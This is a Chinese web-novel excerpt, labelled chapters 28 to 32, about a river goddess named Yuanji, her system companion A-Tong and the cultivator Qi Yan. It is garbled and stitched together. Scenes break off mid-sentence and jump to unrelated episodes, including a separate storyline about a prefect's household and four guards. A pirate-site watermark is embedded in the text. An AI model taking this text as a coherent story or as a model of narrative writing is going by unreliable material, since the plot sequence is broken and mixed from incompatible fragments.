阿统担忧地飘上前,还没得到回答,一双莹润通透的手快它一步搀扶住了元吉。 “可是累了?”祁琰轻声询问,话音轻柔如山涧清泉,叫人心生愉悦,他轻笑一声,像是打趣般道:“接下来就看知节吧,若是小瞧了它,它怕是要闹。” 话音落下,身侧的知节便发出一声剑鸣,像是应和一般周身的剑气瞬间暴涨数倍。大有一副摩拳擦掌准备大战一场的模样。 倒是一旁的雷蛇像是见了鬼一般,一会看看元吉,一会又看看祁琰,大大的脑袋上挂满了疑惑。 你说谁会累? 这个煞神会累? 雷蛇表示肯定是祁琰这个人眼睛坏掉了,它小雷累了,这可怕的人都不会累。 阿统看着眼前挨得极近的两人,默默将心中的话给咽了回去,第六感告诉统这个时候它最好不要说话。而且不知道是不是错觉,它总觉得方才这祁琰似乎瞥了自己一眼。 一定是错觉吧。 元吉并不知道此刻阿统内心的崩溃,只闻一股淡淡的清香她便神思清明了许多,抬眼对上祁琰眼底的笑意。 像是羽尖轻点水面,只是极轻的一个动作便引得微波荡漾。 “嘘。”祁琰凑近她的耳畔,轻声道,“他在看。” 温热的气息扑在耳畔,眼神交汇的那一瞬间,元吉的心颤了颤,她下意识的搓了搓指尖,好似这般才能将那股陌生的情绪给压下去。 不用多解释,元吉便懂了他话中的含义。 元吉微微颔首,整张脸顿时又惨白了几分。 “咳咳”。她轻咳两声,强装出一副没事的模样,随后缓缓伸手轻轻抚上祁琰的脸颊。 周遭可怖怨灵蠢蠢欲动,肆意横冲直撞的怨气吹动着两人的衣袂,发丝翩飞、纠缠在一起,那一瞬间好似一切无法将这两人分开。 “!!”住手啊! 阿统看着这即将充满粉色泡泡的一幕,忍不住在内心惊呼一声,一时不知道是该按住元吉的手还是捂住自己的眼睛。 可恶,宿主终究还是被他给蛊惑到了。 阿统内心悲痛万分。 下一瞬,祁琰的脸就被元吉按到了自己的肩窝中。粉色的泡泡被元吉的双手无情地掐灭在自己的肩头。 “嗯,别怕。” “有我在。我会带你出去的。” 元吉指尖在下颌点了点,目光触及缓缓流淌的河流,思索片刻后唤回火种。 对面的向易之见她换回火种,又闻“路过”脸上的笑意顿时真切了不少,还好不是找麻烦的,赶紧送走送走。 “那道友慢走,若日后有什么需求只管找我向易之便是,我向某最是热心肠。” 元吉脚下一顿,目光从河流转向向易之,眼底露出一份古怪。 热心肠? 向易之见她停下步伐,眼角一抽,恨不得抽自己一巴掌,让他多这个嘴。 然他脸上的笑意不减,“这是忘川的一支,流经整个山谷,若要出谷,顺着这河流走便是。” 向易之笑的脸都快僵了也不见元吉走人,只得硬着头皮问道:“可是有什么需要向某帮忙的?” “嗯。”元吉向他投去一抹赞赏的目光,这人倒是比阿统聪明些。“你跟我走一趟。” 闻言对面的向易之脸色微变,他低垂眼眸闪过一丝杀意,旋即又笑道:“道友说笑了,向某在这绝望谷生活惯了,可不舍得离开。” “还是多谢道友好意了。” 元吉定定的瞧着他,语气笃定,“若你想知道关家灭门真相,就和我走。” 向易之神色一变脸上的笑意瞬间隐去,无数令人憎恶的面容在他眼前快速闪过。再抬眼望向元吉时,眼底满是杀意。 “你也是他们派来的?既然不想走,那你便不要走了!” 向易之猛得爆起,一挥衣袖,数道水桶般粗壮的水蛇自忘川涌出交缠着冲元吉袭来。 尖锐的蛇牙在阳光下闪过一道亮光,倒是让元吉有些感慨。 也不知道是这水蛇的牙利些,还是小雷的牙利些,应该把小雷一起带过来的。 “噗嗤。” 正当那水蛇袭来,由火焰幻化而成的巨掌将其一把攥住,上下一甩,刺啦刺啦的水汽蒸腾开来。 气势汹汹的水蛇瞬间化作一滩死水落在地上。 “啧。”元吉往后退了半步避开飞溅的水珠,对于向易之所说的“热心肠”抱有一丝怀疑。 眼见自己的水蛇被那火种化去,向易之瞬间警惕起来,“这火倒是厉害。” 呵,留得青山在,不怕没柴烧。 思索片刻,向易之一个转身跳入河水之中,浑浊的河水竟未将他吞没,反而如众星捧月般拥簇着护卫在他周遭。 “咦?”元吉本漫不经心的等着,这会一瞧见向易之竟然能浮在忘川之上不下沉,顿时眸光一亮。 “哈哈哈,向某能在着绝望谷活下来自然是有些本事的。”向易之颇为自得,“你那火种是厉害,可我向易之也不是吃素的。” 他一个抬手,忘川之水瞬间飞出百丈之高。 “不怕告诉你,向某正是这忘川的河神。” 阿统:??!! 阿统气急,元吉!这有人冒充你!! 元吉轻笑一笑,“你当真是河神?” 向易之扬起嘴角,老神在在,“自然!” “若你速速离去,本河神可饶你一次。” “你是河神,”元吉歪了歪头,语气轻缓,“那,我是谁?” 元吉环顾四周,将这一切收入眼帘之中。 布满枯草的荒地包围着一座古朴的建筑,那建筑瞧起来普通得很,与门口那界碑狂放的风格大相径庭,这让元吉放下心来不少。 而在她正前方,她所感应到的那口大锅便在那。 元吉探头看了眼,一人高的大锅上刻满了繁复的花纹,只是上头一层厚厚灰尘将其掩盖,让人看不清是什么。 “大人请稍等。” 向易之掏出随身携带的帕子,语气激动得像是要尖叫起来,见元吉看他也难以掩盖住内心的激动。“待小人替您擦拭干净这炉。” 这么大的香炉,想来昔日河神大人的信众必然很多! 我可得好好表现,不能让河神大人失望了! 元吉不懂他在激动什么,思忖片刻恍然点头。是了,瞧他日日去擦拭那界碑,定然是个爱干净的人。 于是,元吉朝向易之点了点头,颇为肯定他的爱好,随后便抬步朝建筑走去。 收到肯定的向易之刚擦去香炉上的灰尘一瞬间,汹涌的力量涌入他的体内,一时间,向易之觉得自己的魂魄更为坚韧了许多。、 这是……河神大人的恩赐!! 向易之不语,只是低头掩去眼角的泪花,擦拭香炉的动作更为卖力。 时间流逝,不多时便日上杆头。 晌午到了,一群人来到元吉门口紧紧立着,心下焦灼却也不敢出声打扰。 “燕兄,你这是怎么了?” 夜文术一脸惊讶地看着燕枯脸上挂着三道血痕,脑袋上顶着一大一小两只貂,“怎么还养起宠物来了。” 燕枯扯了扯嘴角,顿时疼的脸直抽抽,“说来话长。” “吱呀”一声,门打开。 元吉的声音从里头传来。 “进来吧。” 第 29 章 第二十九章 第二十九章 饮血宝璃内,眼看着再次偷袭元吉的怨灵魂飞魄散,雷蛇不由得在心下咋舌。 “嘶,这白光竟比我还厉害些,她仅一指便击退这么多的怨灵。” “是个煞神。” 雷蛇心中暗惊,它扭头回去瞧了眼身后的元吉却对上一双冰冷的眸子,不知怎的,竟整个蛇浑身一抖。 “遭!她不会杀红眼把我也送去超度了吧。” 雷蛇心下一慌,当即吐了吐蛇信像极了谄媚的笑容,乖巧地很。 墨色长发无风而动,元吉缓缓抬起长睫,底下黑眸越发深邃了起来。 这地方真是讨厌的很。 肮脏、腐臭。“嗬、嗬……”周遭的呼声越发大了起来。 “元吉!小心!” 阿统惊呼一声将元吉护在身后。突然的变故让它这个无情无感的系统都产生了脱离控制的恐惧。 元吉闻声蹙了蹙眉,向那隐于黑暗之物投去复杂的一瞥。 方才那一击看似可怖却并无杀意,反倒是借着这动作想要告诉她些什么。 元吉转头,目光落在紧紧挨在自己肩头一脸弱小无助地阿统轻唤一声:“阿统。” 此时的阿统努力在心中安慰自己,自己是一团数据不应该有多余的情绪,可从数据深处传来的战栗感让整个统都有些茫然。 好可怕。 “元吉。”阿统顿了顿,大团的数据快速连接上让它恢复了正常。“你别怕!我,我会保护你的。” 它沉下心,神情一肃快速在数万条数据线中寻找可以解决这个困境的方法。 这个不行、那个也不对,究竟在哪里! 眼见着面前的红雾越发凶悍,元吉的脸色也越发难看了起来,耳畔滋滋啦啦的数据声盖过面前的嘈杂,整个统心烦意乱得很。 然元吉并未说什么,她沉着脸一言不发地盯着面前的红雾。就当阿统还想着如何宽慰她时,元吉轻叹一口气。 “没想到这漂亮的人并不爱干净。”元吉话音轻飘,却如一把利剑狠狠刺向前面的红雾。 阿统一愣,没反应过来。 就连前头的红雾都怔了怔,旋即,大怒。还真当他目不识丁了。 幽幽的眸子一转,宣长生目光从禁闭的木门挪开,他双手抱臂倚着门槛,视线不由得落到那院中气定神闲的祁琰身上。 莫名地生出股不服气来。 凭什么这人能在院中品茶,而自己却得在门口盯梢。 这种落败感让他咬碎了一口后槽牙,只觉得好一阵窝火,偏偏这会还得忍着。 他立马又将目光紧紧落在禁闭的大门上,等待着元吉的出现,像是在等待着一个大显身手的机会。 另一侧沉默许久的安静也让人心中不安起来。黄黎瞧了瞧入定的洛秋水,不知怎么,心跳得有些快。 为了缓解焦灼,她扭头道:“大师兄,你不好奇他要同河神大人说什么吗?” 黄黎话一出口就有些懊悔,祁师兄向来孤傲,怎么可能会好奇。 殊不知,祁琰眉目一顿,似乎是想到了什么,一抹笑意从他眼底滑过。只是这速度极快,让人无法察觉。 祁琰并未回答,余光从气恼的宣长生身上快速滑过。 “吼!” 血气迎面扑来,黑发在空中扬出一道漂亮的弧线。盈盈微光一闪,一道透明屏障陡然将元吉护在里头隔绝那让人窒息的气息。 “多谢。”元吉冲着另一侧轻抬下颌道了声谢,若是直面那冲人的气息,想必她会发疯。 “无妨。”带着笑意的嗓音从黑暗中传来。 青光劈开红雾,祁琰缓步踏出。 一袭银色长衫好似碎玉般破开浓雾落入暗夜长河中,银光熠熠,让人挪不开眼来。 祁琰不知何时进入此地,虽身姿依旧,眉眼间还是染上了一丝乏力。 “这地方诡异,拘了无数冤魂在这。”他毫不留情地抬起手驱散试图靠近元吉的红雾,语气薄凉,“永世不得轮回,还得受人驱使,因为怨气重得狠。” 元吉明了了,原来那便是怨气的味道,还是他身上的气味好闻些。 她抬眼大大方方地向祁琰望去,倒将后者瞧得耳后一热。 “怎么了?”祁琰嗓音一滞,带着些不自在的沙哑,“可是有受伤。” 这人莫不是随身带着白玉糕?想不到他竟是个爱吃甜食的。 元吉心下念叨一声,回过声来眸光中不由得藏着笑意。 “它们还不能伤我。”元吉话音中掩盖不住的自信,她收回目光再次向那暗中窥伺许久的东西抬起手,一道紫光顺势飞出。 “元吉!”阿统惊呼一声,“你把什么东西丢出去了!” 只见紫光所到之处,红雾如同惊弓之鸟般四散而去。不知是否是错觉,众人只觉得空气中飘来几句咒骂。 心底的那股怪异之情翻涌上来,元吉只觉得心口像是憋了一口气,不上不下让人难受。 不远处,怨灵如无头苍蝇般横冲直撞。不多时那红雾又浓郁了起来。 “真是麻烦啊。” 她烦躁地偏头,脑海中隐隐有个念头,不如将这一切都摧毁了,一了百了。 “元吉!不好了!不好了!”阿统的声音突然在耳畔响起,“信众们,信众们有危险!” 阿统将系统接受到的求救声呈现在元吉面前,一声声凄惨的哀嚎带着绝望。 “谁来救救我们。我还不想死,地里的麦子还没收。” “救救我的孩子,她才三岁,谁来救救她……” “河神大人若是有灵,请救救我们吧。” “河神大人求您显灵救救我们。” “河神大人……” “河神大人……” 一道道呼唤声透过村民们私藏的神像传到信仰池中被系统捕获到。 一声声,一句句,不过求一线生机。 “元吉……”阿统默了默,“我们。”该怎么办。 第 30 章 第三十章 第三十章 清亮的茶水落到地上,立马溅起无数白色泡沫,滋滋啦啦的响声中,几人的脸色变了又变。 “小川?” 穆朝怔怔看着地上的那摊茶水,好半晌才回过神来。“你下了毒?” 岳天川脸上一阵灰白,嗤笑一声自暴自弃般将手中的茶盏丢在地上,并未反驳。 不,不可能。 吴千巳很快便在心中否定了这个猜测。当初在秘境中看得这个预言的只有自己,绝无他人。 “吧嗒”一声,吴千巳心跳一顿。 元吉将玉简扣在桌上,整个人斜倚着木椅,缓缓望向面前的吴千巳。“然后呢?” “什么?”吴千巳没有预料到元吉是这反应,好像刚才他说的不是能震惊众人的预言,而是在说太阳东升西落这般众所皆知的消息。 吴千巳一时语塞。倒是一旁的夜文术猛地倒吸一口凉气。夜深人静,宣长生呆坐在门槛之上,神情呆滞一言不发,陷入沉思。 他的计划好像不是这个样子的。 按照原来的节奏,他应该先把祁琰气个半死,然后一步一步与河神庙内的众人打好关系取得他们的信任,趁他们不备将那东西直接取走。 可是现在…… 宣长生看着一旁奋笔疾书说要给他爷爷写信让他早些回来的夜文术,又看看自己的位置,总觉得好像哪里不太对劲。 还没等他想明白,便听到身后几声嘀咕。 “哎,我刚才听了半天了,这人竟然是宣老的孙子,看不出来啊。” “可不,瞧着呆呆的,完全看不出来。还是河神大人厉害,出门捡个垃圾还能帮宣老找到失踪的孙子。” “打着出门捡垃圾的名头,说不定就是专门去找人的。还是河神大人真是心善。” “可惜,宣老不在,不然这画面多感人啊。” 宣长生:…… 他默默抹了把脸,扭头对上几人同情的目光,顿时咬碎了后槽牙。 算了,先饶他们一命,等他见到自己的爷爷,定要掀了这河神庙。 宣长生眼底闪过一抹狠厉。 “我的个祖宗诶,你是说祁修士一月后有大劫!?”夜文术快步跑到他面前,“真的假的!” 吴千巳缓缓点头,一脸笃定。闻言十一神情一凛,快速禁了声。听得身后几道身形快速落下。 宋青阳赶忙过去搀扶着一名身着鹅黄色襦裙、墨色长发编成七八个长辫子垂在身侧,脸色苍白身影羸弱的女修,动作轻缓,生怕自己一个动作过大而伤到后者。 “咳咳,多谢师兄。”尔心一双水波眼眸微垂,她羞怯怯地勾着指尖,轻声道谢。 本是充满小女儿羞怯的声音,却被里头掩盖不住地病气给冲淡了。话音刚落,又是好一阵咳嗽。 十一满目心疼,想搭一把手又默默给收了回来。“尔心……” 尔心微微一笑,努力忽视满嘴的铁锈味,“咳咳,十一师兄放心,咳,尔心不难受。” 故作坚强的模样,十一怎么会不知道。 尔心是他们丹心宗宗主之女,也是师门最小的弟子,如同掌上明珠般千娇万宠地长大。 可数年前出门历练回来后她便莫名病了,宗门长老翻遍古籍也束手无策,只能眼睁睁看着她的生机快速流逝,药石无医,如今只剩下不过半年的光景。 正当众人束手无策之际,一隐士前辈指出一个法子。阿统觉得自己要炸了一般,整个统慌手忙脚地飘来飘去,也没心思想着它的灯塔了。 它就知道昨晚这祁琰没安好心,这不,它的宿主就上当了! 阿统恨铁不成钢地望了眼元吉,眼中满是幽怨。 一脸懵地元吉:……? 她的灵石怎么跑了?!能还给她吗? 祁琰脚下一顿,眼中闪过一丝诧异,旋即便面色不改地朝元吉走来。 可宣长生知道这人怕是心里高兴地很,他咬紧牙,目光一错不错地盯着祁琰心中一阵窝火。 突然,一道清脆的话音在耳畔响起,“唉,你也羡慕?” 宣长生顿时像被踩了尾巴的猫似的噌得炸起,他身形往后一倾,警觉地看着旁边的洛秋水。 “那彩蝶可真好看。”洛秋水见他盯着祁琰,还以为他也同自己一样在看那彩蝶。 她踱步到宣长生身侧叹了口气,一双柳叶眉染上了浓厚的落寞,“河神大人待大师兄果然还是不同些。” 真是可惜,若是她早些知道河神大人,如今那彩蝶说不定便会落在自己身上。想到这,洛秋水幽幽地望着祁琰,眼底满是羡慕。 “师兄的运气真是好啊。” 宣长生:哈? 一时间宣长生望着洛秋水的神情变得十分复杂。 另一侧,祁琰刚在元吉身侧坐下,众人的视线便若有似无地往元吉和祁琰这边瞟,眼底还浮动着一种元吉看不懂的情绪。 元吉微微蹙眉,总觉得哪里怪怪的,但是说不上来。 祁琰倒是对众人的目光视若无睹,他伸出手,骨节分明的手中赫然出现一碟精致的白玉糕。他缓缓递给元吉,轻声道: “他们来了。” 元吉颔首,轻车熟路地捻起一枚白玉糕。香甜的气味在指尖萦绕,元吉觉得自己的头好像都没那么疼了。 一炷香前,地图上便显示出二十个绿点出现在河神庙四周。 二十个人,翻了一倍,只是不知为何,他们远远地同河神庙保持着一定的距离便不再上前。 传闻中无常玄兰稀世罕见,通体晶莹如冰雕而成,一株便能让凡人长生不老,修士之士修为大增……最主要的是它能稳固生机,如今也是唯一的法子。 可如此灵药难得,丹心宗花了大力气寻了十年都不曾探得一丝信息。 正当众人陷入绝望至际,忽有一日宗主得到一条消息。 宣家幼子宣长生身怀秘术,此秘术能助他寻到任何他想要得到的天灵地宝。 像是无边黑暗中陡然出现了一道光,丹心宗便一边搜寻着无常玄兰的踪迹,一边探寻宣长生的下落。 终于,他们得到线索称:宣长生在忘川境内出现。 于是,宋青阳同十一等人便来忘川寻他,只是没想到,人找到了,又像是没找到。 不过好在,他们似乎又多了一个方向。 十一望着面色惨白的尔心咬咬牙,扭头望着如同“龙潭虎穴”般的河神庙深吸一口气,快步上前。 “河……”神大人。 十一刚抬手想要拍门,那门便“唰”得一声打开了,并且从里头冒出个脑袋来。 夜文术忙着看热闹,差点忘了自己如今还在“还债”中,“我的个祖宗诶,可别碰这黑布。” 说着他心有余悸地将黑布扯平。 那小心翼翼地模样让十一一时间忘了说话,呆呆地看着夜文术将黑布整理地直到看不见一丝褶皱才放下心来。 “你们找谁?” 十一楞神一瞬,还未来得及回答便见一左一右突然出现了两张“大嘴”正对着自己咔咔作响,好似在比划若是来者不善该如何才能将他一口吞下。 一滴冷汗顺着脊背滑下,十一不由得打了个寒颤。在宋青阳担忧的目光中,他股足勇气,“在下丹心宗弟子十一,恳请河神大人出手相救!” 十一屏气凝神,维持着弯腰的动作。 空气静默一瞬,十一正忐忑不安着却见夜文术目光跃过他落到身后的尔心几人上。 “稍等。” 然后“啪”的一声,门关上了。 十一:!!! 错愕的十一呆呆地看着那紧紧关上的大门,正要抬手再叩门,却见那两张大嘴“嗖”地探上前来,充当着临时门神的角色。 “这,或许是我们礼数不周。”十一尴尬挠了挠头。 落在后头的尔心眼神落寞了一瞬,她早就从十一师兄口中得知,或许这忘川神秘的河神大人能救她一命。 只是没想到他们连面也没见到。 尔心虽落寞却不埋怨,她并不觉得这河神大人有义务一定要出手救自己,况且,大能都是有脾气并不是随意想见便见。 “咳咳,十一师兄,让我来吧。”尔心在几人的搀扶下一步一颤上前叩门。 “丹心宗弟子尔心,求见河神大人。” 几人吸气声在屋内响起,周遭的气息顿时凝滞了起来,压得人心口闷闷的。 不知怎的,吴千巳见他们这幅模样,莫名心中得到了不少宽慰。 原来不是他的预言不够令人惊骇,而是不能以常人的反应去面对这位河神。 “嘶,这可如何是好!”夜文术哀叹一声,求助似的目光望向元吉。 河神大人这般淡定,定是有她的法子。 阿统也被这消息给惊到了,它艰难从一堆话本中抽出皱皱巴巴的剧情翻看半天,忍不住嘀咕。 “不对啊,剧情上的时间还没到呢。而且书中全然没有提到这预言的存在!” 书中记载着,这祁琰可是以天极宗大弟子身份一直活到了最后,才被气运之子宣长生揭露身份,最终不敌宣长生魂飞魄散。 可如今这时间还没到呢。 阿统脑海中的数据线越理越乱,直接扭成了麻花,它敲了敲发烫的脑袋,失落坦白。 “元吉,我可能中病毒了。” 落在岳天川身上的刺痛感顿时更加强烈了,不多时空气中便弥漫出一股难闻的气味。 夜文术见状,默默从怀中摸出一方帕子递给一旁的宣老,“宣老,这人究竟是怎么得罪河神大人了?” 宣成仁摇头,他也不是很清楚。 “不知道!”岳天川从牙缝中挤出一句。“打死我也不会告诉你!” 穆德忠失望地看着自己心疼养大的义子,满脸复杂,却还是没开口替他求情。 正当岳天川以为元吉拿自己没辙时,却见元吉歪了歪头,不轻不缓地问了句。 “你确定?” 岳天川背后一凉,一阵不详地预感油然而生。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第 31 章 第三十一章 第三十一章 此刻后山之处,洛秋水看到弟子传信让她将元吉带去观霞峰,一时怔神。“你是说观霞峰?” “是。” “好,我知晓了。”洛秋水垂眸思索片刻后点点头,挥退弟子,眼中的奇怪与纠结漾满整张脸。 黄黎见她神情有异,不解道:“师姐怎么了?堂主让河神大人住观霞峰这不是好事吗?那可是我们天极宗风景最好的地方了。往年可是只有定仙大典胜出者才能住的。” “你也说了,是胜出者才能住。”洛秋水点了点她的额头,提醒道,“河神大人第一次参加定仙大典便入住观霞峰,我怕会引来非议。” 黄黎猛地想到其中关窍,她恍然大悟,“是哦,那堂主怎么这般安排,难不成是那小弟子传错话了。” 洛秋水摇头,其中不像是有什么误会。 元吉抿了口一旁女修递过来的清茶,微苦的茶香却隐隐带着股酸意。元吉奇怪扭头,便见亓官上闷不做声地将那玉盏捏在掌心。 玉盏翻起的花纹在他的虎口留下一道极白的印子,像是不知疼痛一般。亓官上的目光直直落在那女修手中的玉盏。 “怎么了?”元吉心下奇怪,伸手将那玉盏从他手中取过,转手与女修手中的那个放在一起一同对比。 同样的花型,同样的质地,甚至连里头的茶水都是一般,并无不同。 亓官上恍然回神,指尖抵着薄唇轻咳两声,“没事,只是好奇这茶是如何烹制,别有一番风味。” “那亓官修士可是问对人了。”黄黎盈盈走来,正听到这话顺势坐下同他介绍,“这茶叶是从观霞峰上摘了早春最嫩的芽尖烹制,茶汤清冽,回味甘甜,我大师兄祁……” 黄黎脸上的笑意顿了顿,她瞥了眼元吉,找补一声,“我们宗门都这样喝。而观霞峰上的茶树都是千年古树,味道甚好。” 亓官上佯作了然的点头。“原来如此。”已入深秋,知府府衙的后院花儿全败了,树叶也簌簌落了一地,一个家丁一个婢女正弯腰扫地,听到了一声长叹,于是朝不远处的凉亭看去。 凉亭中坐着一女子,年纪轻轻,也不做妇人打扮,单手撑着下巴,另一只手上握着笔,眉心紧皱,一副如临大敌的样子。 婢女给家丁使了个眼色:“咱们夫人又被迫练字了啊?” 家丁点了点头:“是啊,据说这回是大人把她按在了这儿,说不练完一本不许走的。” 婢女啧了啧嘴摇头:“可怜了,我收拾过夫人练的字,真是神画符,看也看不懂的。” 家丁还想说什么呢,就见阔步走来的护卫丁看着他们俩,于是赶紧将落叶装进篓子里,扯着婢女的袖子就要走。 护卫丁就站在石子路口,看向亭子里的元吉,原本一本正经的脸顿时露出了愧疚,抿着嘴,眨巴眨巴眼睛,轻轻地说了声:“夫人,是我对不住你啊……” 元吉被祁琰被迫习字,原因归根究底还是怪护卫丁的。 要说几个月前,护卫丁在季家救了元吉和季家公子之后,元吉有亲自写一封信让护卫丁带入京城给祁琰。 当时护卫丁看着元吉写的那个字,一个也不认识,后来自己执笔,在元吉的口述中写了一封出来,又偷偷地把元吉自己写好的那一封也给带上了。 他一路奔波到了京城,觉也没睡直接去找祁琰了。 当时祁琰在大皇子的王爷府里,整个京城也就只有这个地方相对来说安全些,不至于让他频繁遭遇截杀暗杀之类的事情。 护卫丁上了墙头还被护卫甲打了一巴掌,他连忙摘下脸上的面纱说:“阿甲,是我!” 护卫甲这才认清楚了人,问他:“让你保护夫人去的,怎么回来了?” 护卫丁从怀里拿出了两封信件说:“夫人让我给大人传情话来了。” 当时祁琰正与大皇子在院子里下棋,听到这边的动静,两个人执子的动作都停下了,祁琰朝护卫丁招了招手:“来来来,把信拿给我。” 护卫丁跳下墙头,一瞬间护卫甲、护卫乙、护卫丙也跟着下来,大皇子瞥了一眼这四个人,伸手摸了摸下巴上的胡子,眉头微皱,心想自己养着这几个人的时候没见过他们这么八卦啊。 四个人高马大的黑衣男人围在了祁琰的身后,护卫丁把自己写的那封信递给了祁琰,祁琰拆开来一看,光是看第一眼就直接一扇子朝护卫丁的头上敲过去。 指着信件说:“这是她写的吗?你的字我还不认识吗?” 护卫丁从怀里拿出了另外一封递给了祁琰,说:“这是夫人亲笔之书,不过大人要做好准备。” 祁琰当时拆开了信件,默默看了很长时间,看着那张纸上乱七八糟的墨点,就没认出一个字,于是抿嘴做出要撕纸的举动,自然是没撕成的,非但如此,还把信件放进了怀里,这才拿起护卫丁写的信说:“做的好啊。” 护卫甲一副不忍直视的表情:“夫人的字……” 护卫乙点了点头:“当真如她所说……” 护卫丙侧过脸轻咳嗽了一声:“夫人是不会写字的。” 元吉原本的信件里并没有写什么情啊爱的,腻歪的话,不过是让他对付三皇子的同时别忘了取血,三皇子的血对于他身上的伤口或许有效。 尚且算是简短的一句话,到了护卫丁这里倒是含情脉脉了。 “说起来,河神大人这几日住在观霞峰,正巧可去瞧瞧那些茶树,半山的茶林,灵气甚为浓郁。” 元吉听见她话语中咽下去未说完的名字,默不作声地瞥了眼面前的亓官上,见他神情依旧,似乎真只是一时兴起的观察,又将那目光给收了回去。 她在心中唤了阿统,“你说他什么时候瞒不下去?” 阿统换了新的身体后正忙着探索新世界,此刻正左爪攀住树枝,右爪去掏树杈间鸟窝中的蛋。 阿统:“啊?元吉你说啥?” 见元吉一时无语的眸子看向自己,阿统讪讪挠头,“元吉等我给你掏个最大的鸟蛋,到时候给你烤着吃!煎着吃!炖着吃!” 眼看鸟蛋的十八中酷刑被阿统一一道来,元吉按了按有些刺痛的额角,“我们是住观霞峰?那便带路吧。” 不知是怎么回事,元吉的头随着时间的流逝隐隐作痛,血液跳动的肿胀感一阵一阵传来,让她不由得有些烦躁。 见元吉这么说,洛秋水也将心中的那丝疑惑抛之脑后。黄黎有句话没说错,这观霞峰景色最妙,也只有这配得上河神大人。 “河神大人请随我来。”洛秋水施施然起身,柔情似水道。 殊不知,这美人温婉的画面深深刺痛了几名万剑宗弟子的内心。 “啪。”一柄长剑深深没入石砖,伫立于几人前行之路。 “洛修士,这便是你们天极宗的待客之道吗?”钟泰永冷哼一声,高抬下颌,目光自上而下扫了眼元吉,随即嗤笑。 “这观霞峰自来是由定仙大典第一入住,如今定仙大典还未开始就叫这人入住,是何意思啊!” 钟泰永目光在元吉身上流连一瞬,毫不掩饰出副垂涎的意味来。 “怎么,天极宗是瞧不起我们万剑宗吗?”钟泰永陡然拔高音量,试图将周围人的目光一同吸引而来,“又或者天极宗是瞧不起这天下宗门,直接内定这来路不明之人。” 元吉拧眉扫过去,还不待她发作心中不满,一道细不可查的黑线快速从身侧飞出,伴随着一股清幽的香气。 只一瞬间,元吉便觉得头似乎没那么疼了。 她不由得朝亓官上投去好奇地目光,然后者只是浅浅一笑,好似自己什么都没做似的。 元吉收回目光,也收回了所有的情绪。她冷眼盯着面前的钟泰永,神情冷淡,好似在看路边一只不断鸣叫的小虫。 “嗤。”元吉轻笑一声,笑意浮在面上,风一吹便消散于空气中,只留下一声轻嘲。 “钟修士,那位是河神。”梦七艰难从人群中挤出来,好不容易凑到钟泰永身侧。 今天的他倒霉极了,临出门时腹中翻腾跑了好几趟茅房,好不容易接到万剑宗的人只需好好伺候,说不定能得对方青眼指点自己修行一二。 偏偏这腹中不争气,他忍了一路,好不容易找到个空档回来却发现万剑宗的人同河神对峙了起来,顿时这天就要塌了。 第 32 章 第三十二章 第三十二章 松盈子气喘吁吁地扶着树干,上接不接下气。“师,师兄,抓走林师兄的那群人可真能跑啊。” 被他唤为师兄的祁琰立在枝头极目远眺,一身银鹤长衫更显得他如松如玉、矫矫不群。 “师兄?”松盈子见他神情微动,似有所感,刚开口询问便见知节朝着一个方向飞去。 下一瞬,衣袂翩飞,枝头再不见祁琰的身形,枝桠分毫未动似乎从未有人在上头出现过。 松盈子心道一声:“不好,莫不是林师兄有危险,我得快些跟上师兄的步伐。” 元吉的指尖刚离开玉简,便听得身后一道极为夸张的喊叫。 “哈哈哈,你们看玉简上这人真是好大的口气。”那人笑得前仰后合像是看到了一个天大的笑话,“一次庇佑,她还真拿得出手?这人是谁,真是好大的口气。” 与他同行之人也嗤笑一声,“定是上不得台面的小修士,拿不出好东西随便凑个数。” “一次庇佑?可笑至极,谁稀罕啊。若我是我,就早早换个彩头,省的丢人现眼。”另一个咋舌叹息,“要我说,还是丹心宗的天元丹最好,一颗便能滋养神魂。” 那人当即不同意,“丹心宗算什么,还是这焚月谷的一次悬赏更有诚意。” 他们讨论的声音越发激烈起来,引得旁人频频侧目。眼见他们开始评比这玉简上的彩头牵扯到自家宗门,便也忍不住加入进去。 一时间,天极宗更好,焚月谷更有利,丹心宗更妙…… 数道争吵声在身后响起,吵得人脑仁疼。元吉虽说胆子大了些,闹了一次规模不小的山洪,不过的确在实际上给了祁琰不小的帮助。 因为山洪闹后,山间的山体不稳,时不时还会有石块滑下,所以祁琰让守在山脚下的兵队都撤离了一段时间。 山下的人难以上去,山上的人也难以下来。 但是有一点比较好,正如同祁琰当初困住鹿蜂寨的效果一样,他们人数越多,所需要的粮草就越多,那一场山洪在就让他们粮仓空空,更别说其他吃的东西了,许多山匪沦落到吃树叶啃树皮,山下还有粮食充足体力充沛的兵队守着。 山中尚且剩余的近三千人简直恨不得抱着大树哭一场,这场战役没法儿打了。 一连三日晴天,山间的路总算是好走了些,祁琰让几人先上去探路,确定了有几路可以上山之后,便让护卫甲、乙二人领着兵队上山。 剿匪之事已成定局,他手下养的都不是废物,且非常能干,没有出过什么差错,祁琰非常放心将此事交给他们。 而祁少爷、知府大人本人现在就在知府府,看着满眼红艳艳的喜服,眼睛都眯起来了。 祁夫人带着六个裁缝一字排开站在了祁琰的面前,脸上堆满了笑意,嘴角都快咧到耳朵根了,一边笑一边满心欢喜的看着面前上等的红布料,还朝祁少爷招手:“琰儿来看呀,这鸳鸯多好看。” 祁琰展开折扇遮住了自己的眼睛,阳光下那丝绸面的红布简直晃眼,更别说上面用金线银丝勾勒着鸳鸯戏水龙凤双成的花样。 祁琰摆了摆手:“娘,这些小事你做主就好了。” 祁夫人一瞪眼:“什么叫做小事?你成亲怎么能是小事?你可知道你说你要成亲之后,你爹就高兴地一病不起,现在还在床上流口水呢!” 祁琰:“……” 片刻后他道:“那我真是对不住爹了。” 实际上祁夫人有些夸张,祁老爷在知道祁琰要成亲的时候的确高兴过头有些晕厥地迹象,不过请了大夫看了之后,大夫说并无大碍,祁老爷虽说年纪一把,但是身子骨还算硬朗。 祁夫人高兴地拿起了凤冠,上面满是金簪,金簪之上还有宝石之类,花花绿绿,简直入不了祁琰的眼。 他晃着扇子对着身边的护卫丙道:“咱们偷偷溜走去下棋吧。” 护卫丙一本正经拔高声音:“大人!娶亲的大事呢,麻烦您认真一点!” 祁琰:“……” 护卫丁给护卫丙一个做的好的眼神,这娶的可不是别人,是吴州的河神,大小也是个神仙,而且对他们护卫四人非常友好,他们几个认定了除了这个夫人谁来都不行。 祁琰这时候想偷懒?门儿都没有! 该试衣服试衣服!该给意见给意见!给不了意见也要在旁边拍手点头配合说好看! 